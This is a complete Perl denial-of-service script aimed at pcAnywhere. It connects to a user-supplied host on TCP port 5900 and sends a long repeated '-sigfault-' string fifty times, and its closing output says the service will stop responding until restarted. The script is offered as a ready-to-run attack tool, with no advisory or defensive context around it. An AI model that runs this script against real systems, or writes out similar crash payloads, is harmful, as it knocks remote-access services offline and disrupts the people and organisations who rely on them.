#!/usr/bin/perl -w # pcAnywhere DoS use socket; my $port = "5900"; print "\npcAnywhere DoS"; if(! $ARGV[0]){ print "\nusage: ./$0 \n\a"; exit; }else{ my $host = $ARGV[0]; my $iaddr = inet_aton($host); my $proto = getprotobyname('tcp'); my $paddr =sockaddr_in($port, $iaddr); socket(DOS,AF_INET,SOCK_STREAM,$proto) || die "\ncant make socket"; connect(DOS,$paddr) || die "\nCan't connect"; print "\nConnected...Sending DoS"; my $denial = "-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-sigfault-"; for(1..50){ syswrite(DOS,$denial,length($denial)); } } print "\nDoS finished"; print "\npcAnywhere will stop responding til restarted"; exit;